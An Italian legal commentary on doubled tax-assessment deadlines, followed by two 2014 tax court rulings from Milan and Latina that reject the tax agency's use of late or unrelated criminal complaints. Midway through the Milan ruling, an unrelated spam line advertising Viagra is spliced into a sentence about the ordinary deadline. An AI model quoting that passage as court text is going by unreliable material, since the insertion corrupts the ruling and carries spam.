15 Aprile, 2016

IL RADDOPPIO DEI TERMINI DELL’ACCERTAMENTO: SUGGERIMENTI PER L’USO IN ATTESA DELLA SUA ABROGAZIONE

L’art. 43 del D.P.R. 29 settembre 1973, n. 600 (ma lo stesso discorso vale per l’omologo art. 57 del D.P.R. 26 ottobre 1972, n. 633), prevede che «in caso di violazione che comporta obbligo di denuncia ai sensi dell’articolo 331 del codice di procedura penale per uno dei reati previsti dal decreto legislativo 10 marzo 2000, n. 74, i termini di cui ai commi precedenti sono raddoppiati relativamente al periodo di imposta in cui è stata commessa la violazione».

Non è irragionevole che per le violazioni tributarie più gravi, tanto da integrare un delitto, il termine per l’accertamento sia spostato in avanti (qui raddoppiato): è infatti normale che tanto più l’illecito è grave tanto più è lungo il termine necessario a prescrivere (fino ad arrivare ai reati puniti con l’ergastolo – ma non in campo tributario – che sono imprescrittibili).

Quello che invece desta molte perplessità è il principio in base al quale: a) la gravità dell’illecito viene fatta dipendere da una valutazione delle parti in causa (il fisco); b) soprattutto che trattasi di una gravità ipotizzata (tale da importare la denuncia penale) e che diventa meccanicamente una verità storica a dispetto dell’esito del procedimento penale dove spesso queste denunce finiscono nell’archivio.

Una norma così concepita, a nostro parere, dovrebbe essere espunta dall’ordinamento.

Basta vedere cosa è successo nella vicenda di cui alla prima sentenza massimata. L’Agenzia delle entrate aveva spedito alla Procura della Repubblica la denuncia penale solo dopo che, nel ricorso, il contribuente aveva eccepito la decadenza dell’Ufficio dal potere accertativo per decorso dei termini ordinari per l’accertamento. Il tutto, tra l’altro, “in barba” all’art. 331, secondo comma, c.p.p., secondo cui la notizia di reato deve essere trasmessa al pubblico ministero “senza ritardo”. Se non fosse scritto in una sentenza non ci si crederebbe: esiste dunque anche la denuncia penale “a orologeria”.

Ovviamente questo – definiamolo eufemisticamente – escamotage viene sonoramente bocciato dai giudici.

Nella seconda sentenza in commento il raddoppio del termine per l’accertamento era stato applicato nei confronti di una società di capitali il cui amministratore era stato denunciato per un reato fiscale. L’Agenzia delle entrate aveva emesso poi un avviso di accertamento anche direttamente nei confronti dei soci sulla base della presunzione secondo cui gli utili extracontabili della società si ritengono ad essi distribuiti (trattandosi di compagine a ristretta base sociale). Siccome per i soci era già spirato il termine decadenziale per l’accertamento, l’Agenzia delle entrate pretendeva di applicare il raddoppio dei termini anche nei loro confronti.

I giudici pontini osservano – del tutto condivisibilmente – che l’imputazione del reddito della società di capitali direttamente in capo ai soci non costituisce «un automatismo, come avviene nelle società di persone, dove il reddito accertato alla società viene tassato direttamente in capo ai soci, bensì [si fonda] su un ragionamento ulteriore, che ipotizza per i soci la distribuzione di quegli utili in ragione della base ristretta. Sotto questo aspetto, quindi, non può equipararsi la posizione soggettiva della società, che viene accertata oltre il termine ordinario sul presupposto del reato tributario commesso o ipotizzato, e la posizione dei soci, che vengono invece sottoposti ad accertamento su un presupposto diverso, la distribuzione di utili per ristrettezza della base sociale, comportamento che non ha alcuna rilevanza penale». Per gli accertamenti emessi nei confronti dei soci – prosegue la sentenza annotata – «non si è in presenza di una violazione che comporta obbligo di denuncia penale per uno dei reati tributari previsti dal D.Lgs. n. 74/2000, che rappresenta l’indispensabile presupposto per procedere ad un accertamento oltre gli ordinari termini».

[-protetto-]

Il ragionamento non fa una grinza: il raddoppio del termine è inscindibilmente legato alla violazione penale commessa dal contribuente accertato, per cui se quel contribuente non ha commesso alcun reato – come il socio della vicenda sub judice – è ovvio che non può essergli applicato il prolungamento dei tempi dell’accertamento.

Ci sia consentita qualche ulteriore riflessione.

Il raddoppio dei termini per l’accertamento in presenza di una denuncia penale è un istituto che, come già enunciato, dovrebbe essere cancellato dall’ordinamento. È emblematico il caso, al limite dell’inqualificabile (prima sentenza massimata), in cui l’Agenzia delle entrate inoltra la denuncia all’Autorità giudiziaria solo dopo che il contribuente, nel ricorso contro l’avviso di accertamento, ha eccepito l’intervenuta decadenza dell’azione accertatrice.

I giudici tributari, in attesa che il legislatore ci ripensi, dovrebbero usare – verso il raddoppio dei termini – un metro molto rigoroso.

Occorre muovere, in proposito, dalla sentenza della Corte Costituzionale (1) che, pur “salvando” il raddoppio dei termini, ne ha dettato la disciplina applicativa al fine di evitare abusi da parte dell’Amministrazione finanziaria.

Secondo la Consulta «il raddoppio non consegue da una valutazione discrezionale e meramente soggettiva degli uffici tributari, ma opera soltanto nel caso in cui siano obiettivamente riscontrabili, da parte di un pubblico ufficiale, gli elementi richiesti dall’art. 331 cod. proc. pen. per l’insorgenza dell’obbligo di denuncia penale. Per costante giurisprudenza della Corte di cassazione, tale obbligo sussiste quando il pubblico ufficiale sia in grado di individuare con sicurezza gli elementi del reato da denunciare (escluse le cause di estinzione o di non punibilità, che possono essere valutate solo dall’autorità giudiziaria), non essendo sufficiente il generico sospetto di una eventuale attività illecita».

In tale ordine di idee – prosegue la Corte Costituzionale – «il giudice tributario, infatti, dovrà controllare, se richiesto con i motivi di impugnazione, la sussistenza dei presupposti dell’obbligo di denuncia, compiendo al riguardo una valutazione ora per allora (cosiddetta “prognosi postuma”) circa la loro ricorrenza ed accertando, quindi, se l’amministrazione finanziaria abbia agito con imparzialità od abbia, invece, fatto un uso pretestuoso e strumentale delle disposizioni denunciate al fine di fruire ingiustificatamente di un più ampio termine di accertamento».

La Corte Costituzionale, infine, afferma che, a fronte della contestazione del contribuente, «l’onere di provare detti presupposti è a carico dell’amministrazione finanziaria, dovendo questa giustificare il piú ampio potere accertativo attribuitole dal censurato terzo comma dell’art. 57 del d.P.R. n. 633 del 1972».

I giudici tributari, quindi, dovrebbero pretendere, in primo luogo, che l’Agenzia delle entrate depositi la copia della notizia di reato. Non può bastare la semplice dichiarazione che sotto una certa data la notizia di reato è stata inviata alla Procura competente. In assenza di tale allegazione l’avviso di accertamento dovrebbe essere annullato. Come dovrebbe essere annullato quando la notizia di reato è incompleta: per verificare se la denuncia non sia un atto strumentale occorre poterla esaminare integralmente.

Poi, il giudice tributario non può non valutare se la denuncia sia o non sia fondata.

La questione è indubbiamente delicata perché in questo modo la Commissione tributaria è chiamata a scrutinare, ovviamente incidenter tantum, se esista il fumus di un reato. Può sembrare un’“invasione di campo” ma è l’unica soluzione possibile per non lasciare il contribuente in balia di denunce penali spesso inconsistenti o peggio strumentali.

Poniamo infatti il caso in cui l’Agenzia delle entrate denunci il contribuente sulla base di una delle tante presunzioni in favore dell’Amministrazione finanziaria di cui è disseminato l’ordinamento giuridico-fiscale. Ora, è noto che «le presunzioni legali previste dalle norme tributarie non possono costituire di per sé fonte di prova della commissione del reato, assumendo esclusivamente il valore di dati di fatto che devono essere valutati liberamente dal giudice penale unitamente ad elementi di riscontro che diano certezza dell’esistenza della condotta criminosa» (2). Il giudice tributario, pertanto, deve ritenere non applicabile il raddoppio del termine perché la denuncia penale che si basa su presunzioni non può dirsi fondata.

È però bene chiarire che i casi di uso strumentale – laddove per strumentale si deve intendere un atteggiamento dolosamente preordinato ad ottenere un risultato altrimenti non legittimamente conseguibile – della denuncia penale per fruire del raddoppio dei termini sono, in realtà, pochissimi, per non dire che proprio non esistono (l’unico caso di cui abbiamo conoscenza è forse quello della prima sentenza massimata).

Quelle che invece sovrabbondano sono le denunce “cautelative” o quelle “per non saper né leggere né scrivere”, cioè quelle denunce che i funzionari dell’Amministrazione finanziaria inviano all’Autorità giudiziaria anche quando vi sia solo un vago sentore di un reato, e cioè quasi sempre. Perché si può sempre sospettare, ad esempio, che un certo costo – anche di modesta entità – sia inesistente e che quindi la fattura che lo rappresenta sia falsa. Scatta quindi immediatamente la denuncia ex art. 2 del D.Lgs. 10 marzo 2000, n. 74 (che non ha soglie di punibilità). Il relativo procedimento penale spesso viene però archiviato perché la prova della falsità della fattura non esiste; ma intanto il raddoppio dei termini ha già prodotto i suoi incivili e irretrattabili effetti. Il giudice tributario deve quindi necessariamente scrutinare la denuncia penale: e solo se la falsità risulta provata “al di là di ogni ragionevole dubbio” può ritenere applicabile il raddoppio dei termini.

Poniamo il caso in cui la ex moglie (o ex fidanzata o ex compagna, ecc.) di un Tizio dichiara alla Guardia di finanza che l’ex coniuge (o fidanzato o compagno che sia) evadeva sistematicamente le imposte: se non ci sono altre prove la denuncia si deve ritenere infondata (non è sufficiente la dichiarazione di un terzo per ritenere colpevole un contribuente di un delitto fiscale), per cui il giudice tributario deve anche qui ritenere inapplicabile il raddoppio del termine.

Ancora. Tizio, commerciante, sponsorizza una squadra di calcio che gioca in un campionato dilettantistico. La somma sborsata non è in effetti congrua rispetto al ritorno pubblicitario per cui, ipotizzando una frode fiscale, Tizio viene denunciato penalmente per avere dedotto un costo ritenuto fittizio e quindi supportato da una fattura falsa. In realtà Tizio sborsava effettivamente quella somma – per cui il reato non esisteva (semmai si sarebbe potuto discutere sull’inerenza del costo) – non per ragioni pubblicitarie, ma perché solo in questo modo il di lui figlio poteva giocare titolare (il mondo dello sport dilettantistico pullula di questi casi; ma anche tra i professionisti non mancano esempi, anche clamorosi: il figlio di Gheddafi, che avrebbe potuto giocare al massimo in un torneo dopolavoristico, scese in campo in una partita ufficiale del campionato di calcio di serie A, ossia Perugia-Juventus).

Se, invece, la condotta penalmente e fiscalmente illecita è sorretta da prove serie (ad esempio, viene rinvenuta documentazione inequivocabile), allora il giudice tributario deve ritenere applicabile il raddoppio dei termini.

Ma solo in questi casi.

Ragionando diversamente, infatti, il raddoppio dei termini diventerebbe pressoché automatico, perché il sospetto di un reato (tranne che per gli accertamenti mediante gli studi di settore per i quali è espressamente esclusa la rilevanza penale) può essere supposto nella quasi totalità degli accertamenti tributari.

Avv. Fausta Brighenti

(1) Cfr. Corte Cost. 25 luglio 2011, n. 247, in Boll. Trib., 2011, 1489, con nota di F. Brighenti, Corte Costituzionale: salvo (con riserva) il raddoppio dei termini di accertamento.

(2) Cfr., da ultimo, Cass., sez. III pen., 29 settembre 2014, n. 40211, in Boll. Trib. On-line.

 

I

Accertamento imposte sui redditi – Accertamento – Avviso di accertamento – Termini – Raddoppio dei termini di accertamento previsto dall’art. 43 del D.P.R. n. 600/1973, in presenza di violazioni comportanti obbligo di denuncia ex art. 331 c.p.p. – Inoltro della denuncia penale entro il termine ordinario per l’accertamento – Necessità – Denuncia inoltrata dopo la scadenza del termine per l’accertamento e l’emissione del relativo avviso di accertamento – Invalidità dell’accertamento – Consegue.

Accertamento imposte sui redditi – Accertamento – Avviso di accertamento – Termini – Raddoppio dei termini di accertamento previsto dall’art. 43 del D.P.R. n. 600/1973, in presenza di violazioni comportanti obbligo di denuncia ex art. 331 c.p.p. – Verifica da parte del giudice tributario della sussistenza dell’obbligo di denuncia penale – Necessità, se richiesto con i motivi di ricorso.

Il raddoppio dei termini dell’accertamento di cui al terzo comma dell’art. 43 del D.P.R. 29 settembre 1973, n. 600, in caso di denuncia in ordine a uno dei reati previsti dal D.Lgs. 10 marzo 2000, n. 74, è legittimo solo se l’Ufficio finanziario provvede all’invio della notitia criminis alla Procura della Repubblica, ai sensi dell’art. 331 c.p.p., nel termine del quarto anno successivo a quello in cui è stata regolarmente presentata la dichiarazione dei redditi e non, invece, successivamente all’emissione e alla notificazione dell’avviso di accertamento, che in tal caso deve essere annullato per l’impossibilità di applicare il raddoppio dei termini per l’accertamento.

Il giudice tributario ha il dovere di controllare, se richiesto con i motivi di impugnazione, la sussistenza dei presupposti dell’obbligo di denuncia penale, compiendo al riguardo una valutazione ora per allora (c.d. prognosi postuma) circa la loro ricorrenza e accertando quindi se l’Amministrazione finanziaria abbia agito con imparzialità o abbia, invece, fatto un uso pretestuoso e strumentale delle disposizioni di legge al fine di fruire ingiustificatamente di un più ampio termine di accertamento, fermo restando che prima di redigere l’avviso di accertamento l’Ufficio finanziario ha l’obbligo di inviare alla Procura della Repubblica la notitia criminis, ai sensi dell’art. 331 c.p.p., nel termine del quarto anno successivo a quello in cui è stata regolarmente presentata la dichiarazione dei redditi.

[Commissione trib. provinciale di Milano, sez. XLVI (Pres. Natola, rel. Chiametti), 4 novembre 2014, sent. n. 9438]

FATTO– Con ricorso depositato il 3 maggio 2013, il ricorrente sig. Ma.Pe., in qualità di socio, con partecipazione del 50% nella società “Ro. e Pe. srl”, contestava integralmente l’avviso di accertamento in epigrafe, notificato l’8 febbraio 2013. Tale atto veniva emesso a seguito dell’accertamento effettuato nei confronti della società partecipata dal contribuente, per il periodo di imposta 2006, che recepiva le risultanze di un P.V.C. redatto dalla DRE Lombardia al termine di una verifica fiscale. Con tale atto, l’A.F. disconosceva alla suddetta società un credito d’imposta acquisito in qualità di beneficiaria nell’ambito di un’operazione di scissione, di complessivi Є 1.007.551,00, accertando di conseguenza una maggiore IRES ed irrogando le relative sanzioni.

Sulla base di tale avviso di accertamento emesso in capo alla società, l’ufficio, D.P. II di Milano, sulla base della pretesa ristretta base azionaria della suddetta società, procedeva a notificare al ricorrente l’avviso di accertamento in epigrafe, con il quale veniva imputato allo stesso, socio al 50% della società, utili extrabilancio ammontanti alla metà del credito non riconosciuto alla società (nella misura quindi di Є 503.775,50, pari alla metà di Є 1.007.551,00). Sulla base di ciò l’ufficio procedeva ad accertare, ai sensi dell’art. 41-bis, DPR 600/73, il reddito di capitale di Є 503.775,50, anno 2006, da cui scaturiva una maggiore IRPEF di Є 215.626,00 oltre addizionali, interessi e sanzioni, per un totale di Є 445.440,00.

Nell’avviso di accertamento de quo l’ufficio specificava che il termine decadenziale di cui all’art. 43 del DPR 600/73 era da considerarsi raddoppiato poiché la società era stata interessata da notizia di reato, ex art. 331 c.p.c., presso la Procura della Repubblica competente, ai sensi dell’art. 10-quater del D.Lgs. n. 74/2000.

Con proprio ricorso, il ricorrente contestava l’avviso di accertamento in epigrafe eccependo, in via preliminare, la nullità dell’atto impugnato per illegittimità del raddoppio dei termini, in violazione dell’art. 43, DPR 600/73 e anche alla luce della sentenza della Corte Costituzionale, n. 247 del 25 luglio 2011 (1). Evidenziava al proposito che l’unica denuncia che, se correttamente inviata, era idonea a raddoppiare i termini, era quella riferita al contribuente riguardato dall’accertamento (i.e. la società), non potendo certo il reato di un soggetto distinto (la società) far raddoppiare i termini di accertamento del socio.

La ricorrente sottolineava che nel caso di specie, prima dell’emissione dell’atto impugnato, non era stata presentata alcuna denuncia nei propri confronti; pertanto, non essendovi stata alcuna denuncia, non poteva ritenersi legittimo il raddoppio dei termini operato dall’ufficio che, precisava la parte, aveva tra l’altro erroneamente indicato, a supporto del raddoppio dei termini, il comma 2-bis (che non esiste) dell’art. 43, DPR 600/73, in luogo del comma 3.

La società eccepiva pertanto la decadenza dei termini accertativi da parte dell’A.F., tenuto altresì conto che non era stata neppure allegata alcuna denuncia penale all’avviso di accertamento in oggetto.

Eccepiva poi la nullità dello stesso per mancata indicazione del soggetto notificatore e per omessa compilazione della “relata di notifica”, in violazione dell’art. 60 del DPR 600/73 e dell’art. 3, Legge n. 890/82.

Ancora, la società lamentava la mancanza di prove a sostegno della pretesa impositiva, in violazione dell’art. 2697 c.c., dal momento che l’intero accertamento era basato su un orientamento giurisprudenziale, secondo il quale era da ritenere legittima la presunzione di distribuzione pro quota ai soci di una società di capitali a ristretta base partecipativa di un maggior utile. Al riguardo, la ricorrente evidenziava che, per fare ciò, all’A.F. serviva, per lo meno, quale elemento imprescindibile, l’esistenza e l’indicazione della prova in giudizio di un previo definitivo accertamento in capo alla società, del conseguimento di detto maggior utile. La ricorrente lamentava l’illegittimità dell’accertamento notificato alla società e la sua inidoneità a costituire la base, probatoria e motivazionale, per l’accertamento a carico dei soci. Aggiungeva a ciò la presunta e insussistente distribuzione di utili extrabilancio nonché la violazione da parte dell’ufficio del principio di competenza e dell’art. 45 del TUIR, che prevedeva che i soci fossero tassati per cassa.

Nel merito della questione, la ricorrente ribadiva l’illegittimità dell’atto accertativo e l’effettività nonché la spettanza del credito di imposta acquisito per effetto dell’operazione di scissione posta in essere.

Eccepiva, infine, l’illegittimità dell’operato dell’ufficio in quanto riteneva che, benché l’art. 37-bis, DPR 600/73 non fosse mai stato menzionato, era stato proprio quello lo strumento normativo che l’ufficio avrebbe dovuto utilizzare per avanzare la propria contestazione (cioè, il disconoscimento di un’operazione di scissione di ramo d’azienda e conseguentemente il trasferimento di un credito d’imposta).

Alla luce di tutto quanto eccepito, la ricorrente chiedeva la dichiarazione di illegittimità dell’atto impugnato, con conseguente annullamento dello stesso.

L’ufficio accertatore, con controdeduzioni depositate il 6 giugno 2013, si costituiva in giudizio eccependo la piena legittimità del titolo impositivo de quo.

Evidenziava, in primis, che in riferimento all’accertamento emesso in capo alla società, la C.T.R. della Lombardia, con sentenza n. 37/50/13 depositata il 29 gennaio 2013, aveva rigettato l’appello proposto dalla società contribuente, dichiarando legittimo l’operato dell’ufficio. In diritto, l’AdE eccepiva l’infondatezza e la pretestuosità delle argomentazioni di controparte. Precisava che nel caso di specie operava il raddoppio dei termini, contrariamente a quanto eccepito dalla ricorrente, dal momento che era rispettato il dettato normativo di cui all’art. 43 del DPR 600/73, così come modificato dal DL n. 223/2006 (c.d. Decreto Bersani). Aggiungeva a ciò che nel caso in oggetto sussistevano quegli elementi obiettivi che rendevano obbligatoria la denuncia penale per il reato di cui all’art. 4 del D.Lgs. 74/2000. Precisava anche che, pur non essendovi un obbligo in tal senso, aveva prodotto copia della segnalazione di notizia di reato (datata 7 maggio 2013) effettuata dallo stesso ufficio a carico del ricorrente sig. Pe. …

Riguardo l’eccepita mancanza di indicazione del soggetto notificatore e l’omessa compilazione della relata di notifica, precisava che la notifica dell’atto de quo era stata effettuata a mezzo posta ai sensi dell’art. 14, Legge 890/1992, tramite raccomandata; aggiungeva a ciò che sulla relata era anche riportato il numero cronologico di riferimento. Riteneva pertanto pretestuosa ed infondata l’eccezione in parola.

Ancora, l’ufficio sottolineava come l’accertamento fosse pienamente fondato e motivato, in quanto basato su altro avviso di accertamento, emesso nei confronti della società, che era stato confermato in secondo grado.

Evidenziava poi, l’AdE, la legittimità dell’accertamento basato sulla presunzione di distribuzione di utili extrabilancio nelle società a ristretta base societaria, dal momento che costituiva ormai consolidato orientamento della Suprema Corte; aggiungeva che tale presunzione poteva essere superata soltanto dalla prova, fornita dal contribuente, che i maggiori ricavi non fossero stati distribuiti essendo stati, ex adverso, accantonati o reinvestiti dalla società.

Ribadiva pertanto la bontà del proprio operato non essendovi stata, a suo dire, alcuna violazione dell’art. 45 del TUIR dal momento che nell’accertamento di maggior base imponibile a carico di una società a ristretta base azionaria non occorreva una prova specifica dell’attribuzione al socio degli utili non contabilizzati, operando una presunzione relativa di ripartizione pro quota superabile dal contribuente tramite prova contraria.

Anche nel merito della questione, l’ufficio ribadiva la legittimità dell’avviso di accertamento, sottolineando altresì che non vi era stata alcuna violazione dell’art. 37-bis, DPR 600/73, come invece eccepito da controparte.

Sulla base di quanto argomentato, l’ufficio accertatore chiedeva la dichiarazione di legittimità dell’avviso di accertamento qui impugnato e il rigetto del ricorso della ricorrente. Presenti all’udienza le parti che hanno insistito nelle loro richieste ed eccezioni.

La Sezione giudicante così decide.

Sul raddoppio dei termini, art. 43 DPR 600/73 – Decadenza

A tale riguardo il comportamento dell’ufficio non è stato conforme alle disposizioni dell’articolo sopra citato. Rileva questo Giudice che l’avviso di accertamento riguardante l’anno 2006, qui impugnato, è stato notificato l’8 febbraio 2013 in deroga agli ordinari termini di accertamento di cui all’art. 43, DPR 600/73, termini (i.e.

Buy cheap Viagra online

, 31 dicembre del quarto anno successivo a quello in cui è stata regolarmente presentata la dichiarazione), che alla data di notifica dell’avviso di accertamento di cui è causa, risultavano insindacabilmente spirati a far data 31 dicembre 2011. È chiaro che la potestà di procedere ad accertamenti e rettifiche (art. 43 del decreto sopra citato), in materia di imposte sui redditi, è soggetta ad un termine di decadenza, seppure l’articolo sopra citato sia stato modificato dall’art. 37 del DL 223/2006 che ha introdotto una deroga ai suddetti termini di decadenza, aggiungendo il comma 3 all’art. 43, DPR 600/73 secondo cui “in caso di violazione che comporta obbligo di denuncia ai sensi dell’art. 331 del codice di procedura penale per uno dei reati previsti dal decreto legislativo 10 marzo 2000, n. 74, i termini di cui ai commi precedenti sono raddoppiati relativamente al periodo d’imposta in cui è stata commessa la violazione’’.

Osserva questo Collegio giudicante che l’ufficio ha commesso nel compilare l’avviso di accertamento un errore materiale perché, anziché scrivere comma 3 scrive comma 2-bis, quando si riferisce all’art. 43 del DPR 600/73, come è dato da leggere a pag. 4 dell’atto in questione, che: “Si specifica che il termine decadenziale di cui all’art. 43 del DPR 600/73 è da considerarsi raddoppiato, così come previsto dal comma 2-bis dello stesso articolo. La società P. srl in liquidazione è stata interessata, infatti, da notizia di reato presso la Procura della Repubblica competente ai sensi dell’art. 10-quater del D.Lgs. 74/2000”.

È chiaro a questo punto che, prima dell’emissione dell’atto impugnato l’ufficio non ha presentato la denuncia penale nei confronti dell’odierno ricorrente, talché non essendovi stata denuncia prima, non può ritenersi legittimo il raddoppio dei termini.

I dati di fatto sono i seguenti: l’anno d’imposta è il 2006, la notifica dell’avviso di accertamento è dell’8 febbraio 2013 e il deposito del ricorso presso la segreteria della Commissione Tributaria Provinciale di Milano è del 3 maggio 2013.

L’ufficio nelle proprie controdeduzioni, depositate il 6 giugno 2013, allega copia fotostatica di notizia di reato nei confronti del soggetto, attuale ricorrente, datata 7 maggio 2013, indirizzata alla Procura della Repubblica presso il Tribunale di Milano, pervenuta a quest’ultima il 22 maggio 2013.

La Corte Costituzionale, con sentenza n. 247 del 25 luglio 2011, ha stabilito che “il giudice tributario dovrà controllare, se richiesto con i motivi di impugnazione, la sussistenza dei presupposti dell’obbligo di denuncia, compiendo al riguardo una valutazione ora per allora (cd. prognosi postuma) circa la loro ricorrenza ed accertando quindi, se l’Amministrazione finanziaria abbia agito con imparzialità od abbia, invece, fatto un uso pretestuoso e strumentale delle disposizioni denunciate al fine di fruire ingiustificatamente di un più ampio termine di accertamento”.

È di palmare evidenza che l’operato dell’ufficio nei confronti dell’odierno ricorrente non sia lineare con la norma ora in vigore, in quanto prima di redigere l’avviso di accertamento, l’ufficio ha l’obbligo di inviare la notitia criminis, ai sensi dell’art. 331 e seguenti c.p.p., alla Procura della Repubblica nel termine del quarto anno successivo a quello in cui è stata regolarmente presentata la dichiarazione dei redditi (1 comma, art. 43 DPR 600/73).

È chiaro pertanto che prima dell’emissione dell’atto impugnato non vi è stata nessuna denuncia penale nei confronti dell’attuale ricorrente. Il primo passo che l’ufficio deve compiere, se ricorrono i presupposti di legge sulla norma del raddoppio dei termini, è quello di inviare nei quattro anni a sua disposizione la denuncia penale, perché solo così gli si apre la possibilità di inviare l’avviso di accertamento nei quattro anni successivi, nel pieno rispetto della norma del raddoppio.

Nel caso de quo, non può essere invocato il raddoppio dei termini perché si è in presenza di decadenza degli ordinari termini di accertamento. La regola è quella che entro i quattro anni dalla presentazione della dichiarazione dei redditi, l’ufficio invia la denuncia penale, per poi notificare l’avviso di accertamento nel quadriennio successivo. Qui invece l’ufficio ha utilizzato una procedura inversa rispetto a quella stabilita dalla legge, in quanto, prima ha notificato l’avviso di accertamento al contribuente e, dopo la presentazione del ricorso, si è preoccupato di inviare, a mezzo posta, alla Procura della Repubblica la denuncia di notitia criminis.

Tenuto conto di quanto sopra, nel caso in esame non è possibile applicare l’istituto del raddoppio dei termini in quanto i termini per notificare l’avviso di accertamento sono scaduti il 31 dicembre 2011.

MERITO – Le questioni di merito sono assorbite dalla pregiudiziale sopra motivata.

Alla stregua di quanto sopra, il ricorso viene accolto con conseguente annullamento dell’atto impugnato.

Spese di giudizio come da dispositivo.

Il Collegio giudicante

P.Q.M. – in accoglimento del ricorso annulla l’avviso di accertamento impugnato. Condanna l’amministrazione finanziaria alla rifusione delle spese di giudizio che liquida in complessivi Є 2.500,00.

 

(1) In Boll. Trib., 2011, 1489.

 

II

Accertamento imposte sui redditi – Accertamento – Società di capitali a ristretta base azionaria – Accertamento nei confronti della società e nei confronti dei soci – Ipotesi di litisconsorzio necessario – Esclusione.

Accertamento imposte sui redditi e IVA – Accertamento – Avviso di accertamento – Termini – Raddoppio dei termini di accertamento previsto dagli artt. 43 del D.P.R. n. 600/1973 e 57 del D.P.R. n. 633/1972, in presenza di violazioni comportanti obbligo di denuncia ex art. 331 c.p.p. – Individuazione oggettiva degli elementi del reato da parte del pubblico Ufficiale – Necessità – Generico sospetto di attività illecita – Insufficienza.

Accertamento imposte sui redditi e IVA – Accertamento – Raddoppio dei termini di accertamento previsto dagli artt. 43 del D.P.R. n. 600/1973 e 57 del D.P.R. n. 633/1972, in presenza di violazioni comportanti obbligo di denuncia ex art. 331 c.p.p. – Obbligo di presentare prontamente la denuncia penale – Sussiste – Controllo da parte del giudice tributario – Necessità.

Accertamento imposte sui redditi – Accertamento – Raddoppio dei termini di accertamento in presenza di violazioni comportanti obbligo di denuncia ex art. 331 c.p.p. – Società di capitali a ristretta base azionaria o familiare – Raddoppio dei termini per l’accertamento sia a carico della società che dei soci – Inammissibilità – Mancanza di una violazione in capo ai soci che comporti obbligo di denuncia penale per uno dei reati tributari previsti dal D.Lgs. 10 marzo 2000, n. 74 – Illegittimità dell’accertamento a carico dei soci – Consegue.

Per le società di capitali a ristretta base azionaria o familiare non ricorre l’ipotesi del litisconsorzio necessario tra soci e società, sussistente invece per le società di persone, che è altresì esclusa allorquando i soci prospettino delle questioni personali che possano dar luogo ad un trattamento differente del socio rispetto alla valutazione riguardante la società.

La possibilità prevista dagli artt. 43 del D.P.R. 29 settembre 1973, n. 600, e 57 del D.P.R. 26 ottobre 1972, n. 633, di emettere accertamenti al di fuori dei termini ordinari di decadenza dal potere di accertamento non implica che la legge attribuisca all’Amministrazione finanziaria l’arbitrario ed incontrollato potere di raddoppiare i termini “brevi” di accertamento, poiché tale raddoppio dei termini non consegue a una valutazione discrezionale e meramente soggettiva degli Uffici tributari, ma opera soltanto nel caso in cui siano obiettivamente riscontrabili da parte di un pubblico ufficiale gli elementi richiesti dall’art. 331 c.p.p. per l’insorgenza dell’obbligo di denuncia penale, e cioè quando il pubblico ufficiale sia in grado di individuare con sicurezza gli elementi del reato da denunciare, non essendo sufficiente il generico sospetto di un’eventuale attività illecita.

Allorché abbia acquisito la notitia criminis nell’esercizio o a causa delle sue funzioni, il pubblico ufficiale non può liberamente valutare se e quando presentare la denuncia ex art. 331 c.p.p., ma deve inoltrarla prontamente, pena la commissione del reato previsto e punito dall’art. 361 c.p. per il caso di omissione o ritardo nella denuncia; in ogni caso spetta al giudice tributario controllare la sussistenza dei presupposti dell’obbligo di denuncia, attraverso una valutazione ora per allora circa la loro ricorrenza e accertare, quindi, se l’Amministrazione finanziaria abbia agito con imparzialità o, invece, abbia fatto un uso pretestuoso e strumentale delle disposizioni al solo scopo di fruire del più ampio termine di accertamento, e sebbene l’inoltro tardivo della denuncia penale avvenuto solo dopo l’emissione dell’avviso di accertamento e il fatto che la Procura della Repubblica non abbia ancora dato seguito alla denuncia nei confronti del soggetto interessato non possano considerarsi quali elementi esclusivi per orientare la decisione del giudice, tali elementi appaiono tuttavia significativi nell’operare la valutazione sulla sussistenza, ora per allora, dei suddetti presupposti.

Non può equipararsi la posizione soggettiva della società di capitali, che viene accertata oltre il termine ordinario sul presupposto del reato tributario commesso o ipotizzato, e la posizione dei suoi soci, che vengono invece sottoposti ad accertamento su un presupposto diverso, quale la distribuzione di utili per ristrettezza della base sociale, comportamento che non ha alcuna rilevanza penale, atteso che per gli accertamenti emessi nei confronti dei soci non si è in presenza di una violazione che comporti l’obbligo di denuncia penale per uno dei reati tributari previsti dal D.Lgs. 10 marzo 2000, n. 74, la quale rappresenta l’indispensabile presupposto per procedere ad un accertamento oltre gli ordinari termini a norma degli artt. 43 del D.P.R. 29 settembre 1973, n. 600, e 57 del D.P.R. 26 ottobre 1972, n. 633, tanto più che la responsabilità penale è personale e quindi non può esservi un automatismo nella punibilità penale e conseguentemente un automatismo nel raddoppio dei termini per l’accertamento in capo alla società di capitali e ai suoi soci, dato che il predetto raddoppio dei termini è stato dal legislatore ancorato ad una contestuale individuabilità, per la medesima fattispecie, di un’ipotesi di reato che comporti l’obbligo di denuncia penale a norma dell’art. 331 c.p.p.

[Commissione trib. regionale del Lazio, sezione staccata di Latina, sez. XL (Pres. Gargani, rel. Martinelli), 9 ottobre 2014, sent. n. 6019, ric. Autostop s.r.l. c. Agenzia delle entrate – Ufficio di Frosinone]

SVOLGIMENTO DEL PROCESSO MOTIVI DELLA DECISIONE Il Collegio ritiene che le controversie relative ai soci (accertamenti nn. … e …) debbano essere trattate separatamente rispetto a quella della società (accertamento n. …), considerando che non si tratta di una società di persone, dove gli utili accertati vengono tassati direttamente sui soci, per quanto concerne le imposte dirette.

Nel caso in esame, invece, gli utili accertati alla società rappresentano sì un elemento essenziale per l’emissione degli avvisi di accertamento rivolti ai soci, tuttavia questi ultimi nascono da un differente ed autonomo presupposto impositivo, ovvero la ristrettezza della base azionaria con relativa presunzione di distribuzione degli utili.

La Corte di Cassazione ha più volte osservato che per le società di capitali non ricorre l’ipotesi del litisconsorzio necessario tra soci e società (conf. Cass. 2214/2011 (1)), sussistente invece per le società di persone (Cass. sez. unite 14815/2008 (2)).

Oltretutto, l’ipotesi del litisconsorzio è altresì esclusa quando i soci prospettino delle questioni personali che possano dar luogo ad un trattamento differente del socio rispetto alla valutazione riguardante la società. Questioni personali che nel caso in esame vengono sollevate dai soci e derivano essenzialmente dal fatto che essi vengono accertati sull’autonomo presupposto accertativo della base ristretta e non automaticamente, per trasparenza, come avviene per le società di persone.

La commissione intende analizzare separatamente le doglianze sollevate dalla società dalle doglianze sollevate dai singoli soci.

Entrando nel merito ritiene che le doglianze sollevate dalla società debbano trovare accoglimento per ciò che riguarda la preliminare questione della tempestività dell’azione impositiva, in relazione alla questione del raddoppio dei termini di accertamento.

